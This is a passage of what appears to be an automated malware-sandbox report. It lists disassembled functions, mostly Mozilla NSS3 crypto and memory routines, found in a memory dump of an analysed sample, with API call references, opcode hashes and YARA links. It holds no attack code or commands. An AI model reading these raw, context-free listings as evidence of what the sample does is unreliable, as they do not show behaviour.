PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C6B9C5B), ref: 6C6B9E91

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Part of subcall function 6C6B1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C6AFAAB,00000000), ref: 6C6B157E
Part of subcall function 6C6B1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C6AFAAB,00000000), ref: 6C6B1592
Part of subcall function 6C6B1560: memset.VCRUNTIME140(?,00000000,?), ref: 6C6B1600
Part of subcall function 6C6B1560: PL_ArenaRelease.NSS3(?,?), ref: 6C6B1620
Part of subcall function 6C6B1560: PR_Unlock.NSS3(?), ref: 6C6B1639

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: c8b8f3062b7979f72214e2e2f343d74922bcfc162df5c617cad97fa8202213ce
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: AD417CB4601606AFE7409F15D840B92BBB1FF5534CF148128E9189BFA0EB72E836CF94

Function 6C67DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C67DDEC

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

PK11_DigestBegin.NSS3(00000000), ref: 6C67DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C67DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C67DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C67DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C67DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67DECC

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 99a520589e114d5b676f0ccaee57b6667c668d246de155e62ca4bd551a6fb542
Instruction ID: 40894796c741a6dfc9eb52c67c13617b1ce7ee90e4acca6d7de101ed3258fcc9
Opcode Fuzzy Hash: 99a520589e114d5b676f0ccaee57b6667c668d246de155e62ca4bd551a6fb542
Instruction Fuzzy Hash: 493128B29002146BDB21AF64AD00BBF76B8DF55708F050935EC09A7701FB31D919C6FA

Function 6C657E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C657E48

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C657E5B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C657E7B

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C77925C,?), ref: 6C657E92

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C657EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C657ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C657EFA

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 2958d2f64876b8eeb7002b891954db4e500f2e5deca3736a56d45bf49777d95d
Instruction ID: 9b7b3ff5ec3464678172edb9912dd88b184e74fe246ce5a8f69622df6a2ae730
Opcode Fuzzy Hash: 2958d2f64876b8eeb7002b891954db4e500f2e5deca3736a56d45bf49777d95d
Instruction Fuzzy Hash: 1331C1B2A113155BEB10CB659D44B9B77A8AF45358F658824DC15EBB01F730EC24C7A8

Function 6C6ADC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6ADC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6ADCAD

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 86ca336ff8a6246b26f397e06b5cde8ee01913c853765e025adc51f61e1e0abe
Instruction ID: a608700d852fc8254619c0dbc442647c3b4d40028c7b71c0abb847197cf1788b
Opcode Fuzzy Hash: 86ca336ff8a6246b26f397e06b5cde8ee01913c853765e025adc51f61e1e0abe
Instruction Fuzzy Hash: AB316DB5A00300AFD710CF99D884B96B7F8AF09358F548429ED49CBB01E772E945CBA5

Function 6C672E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C66E728,?,00000038,?,?,00000000), ref: 6C672E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C672E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C672E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C672E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C672E9E
PR_Unlock.NSS3(?), ref: 6C672EAB
PR_Unlock.NSS3(?), ref: 6C672F0D

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: ea536a30826d760c6ed48a5676f5a0cc77fa18eab21892cb315162cdc5cd192f
Instruction ID: 7086a1547b0b6a3754f656a697d6b2f7c0e9920d098c0470c92997f72c873469
Opcode Fuzzy Hash: ea536a30826d760c6ed48a5676f5a0cc77fa18eab21892cb315162cdc5cd192f
Instruction Fuzzy Hash: B431E475A00505ABEB105F68EC448BAB775EF46358B048574EC1887A11FB31EC65C7E9

Function 6C691EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&il,6C676295,?,00000000,?,00000001,S&il,?), ref: 6C691ECB

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&il,6C676295,?,00000000,?,00000001,S&il,?), ref: 6C691EF1
EnterCriticalSection.KERNEL32(?), ref: 6C691F01
PR_SetError.NSS3(00000000,00000000), ref: 6C691F39

Part of subcall function 6C69FE20: TlsGetValue.KERNEL32(6C675ADC,?,00000000,00000001,?,?,00000000,?,6C66BA55,?,?), ref: 6C69FE4B
Part of subcall function 6C69FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C69FE5F

PR_Unlock.NSS3(?), ref: 6C691F67

Strings

S&il, xrefs: 6C691EA0

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&il
API String ID: 704537481-872921247
Opcode ID: e862b00b19ece749586da347e34ce76d79f1c9ddbb7b4658946143facddb3c6b
Instruction ID: d79f04e49aa2052efab44391b3388b5b50f0617fb5047a59d1bbeac192c8e901
Opcode Fuzzy Hash: e862b00b19ece749586da347e34ce76d79f1c9ddbb7b4658946143facddb3c6b
Instruction Fuzzy Hash: 48213775A0020AABEB009F29EC44F9A37ADEF423A8F244164FD19C7B01E731D955C7E9

Function 6C6BCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C6BCD93,?), ref: 6C6BCEEE

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C6BCD93,?), ref: 6C6BCEFC

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C6BCD93,?), ref: 6C6BCF0B

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C6BCD93,?), ref: 6C6BCF1D

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C6BCD93,?,?,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF78

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 16ba786e57d150884e2954345e4da23bec673fbe68648ccc5d555f5f0d27a667
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 6D11E4B1E002047BEB00AA667C51B6BB5EC9F4524DF004039FC0AE7741FB70DA2887BA

Function 6C668C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C668C1B
EnterCriticalSection.KERNEL32 ref: 6C668C34
PL_ArenaAllocate.NSS3 ref: 6C668C65
PR_Unlock.NSS3 ref: 6C668C9C
PR_Unlock.NSS3 ref: 6C668CB6

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Strings

KRAM, xrefs: 6C668C8F

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: ba726d3de627fab06c18c243c56e499a17b65abe65e777fc0eee1a79424ce87a
Instruction ID: 76328f497f12a5b1d249a6ff8bd83f0491ada62fe47fbed3f0cd1a15e1d93497
Opcode Fuzzy Hash: ba726d3de627fab06c18c243c56e499a17b65abe65e777fc0eee1a79424ce87a
Instruction Fuzzy Hash: 772197B16056019FD700AF79C484559F7F4FF0A308F05896ED884CBB11DB35E885CB9A

Function 6C678E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EA2

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EC3
TlsGetValue.KERNEL32(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C678EF1
PR_Unlock.NSS3 ref: 6C678F20

Strings

b.il, xrefs: 6C678E96, 6C678F25

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.il
API String ID: 1978757487-1921218275
Opcode ID: e83cc7f2db6ea076c212bdfd937235ba5b15d3f2ae2ea9bdf130985810c419da
Instruction ID: d589748912b51aad0dc5bac8657d9d82ec45b37514a343fa6f63ff163eb44522
Opcode Fuzzy Hash: e83cc7f2db6ea076c212bdfd937235ba5b15d3f2ae2ea9bdf130985810c419da
Instruction Fuzzy Hash: 43219C70908705AFC700AF29D184599BBF0FF49368F01496EEC98ABB50D734E854CBEA

Function 6C6E3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_EnterMonitor.NSS3(?), ref: 6C6E3E45

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

PR_EnterMonitor.NSS3(?), ref: 6C6E3E5C
PR_EnterMonitor.NSS3(?), ref: 6C6E3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C6E3EA6

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_ExitMonitor.NSS3(?), ref: 6C6E3EC0
PR_ExitMonitor.NSS3(?), ref: 6C6E3ED7
PR_ExitMonitor.NSS3(?), ref: 6C6E3EEE

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: df85b102a79697b97ae101c0efa96709c99f3f6c47b4e1667b29f4c2c7f792db
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 3511B771519600AFDB319E29FC06BC7B7A1DB55308F040836E65A87E30E632E82BC74A

Function 6C762C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C762CA0
PR_ExitMonitor.NSS3 ref: 6C762CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C762CD1
strdup.MOZGLUE(?), ref: 6C762CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C762D27

Strings

Loaded library %s (static lib), xrefs: 6C762D22

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 32b5959640ecfa131aad2b8bff234dbda60cb95fa719d632edbc88c649cf4e43
Instruction ID: cdf06b865eb46c87cc1f52af93245874f40d05e4d73b23d7269d894145112d2a
Opcode Fuzzy Hash: 32b5959640ecfa131aad2b8bff234dbda60cb95fa719d632edbc88c649cf4e43
Instruction Fuzzy Hash: 4F1104B17012059FEB008F16D949E6677B5AB4634EF14813DDC09C7F41EB31D808CBA5

Function 6C65BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65BDCA

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BDDB

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BDEC

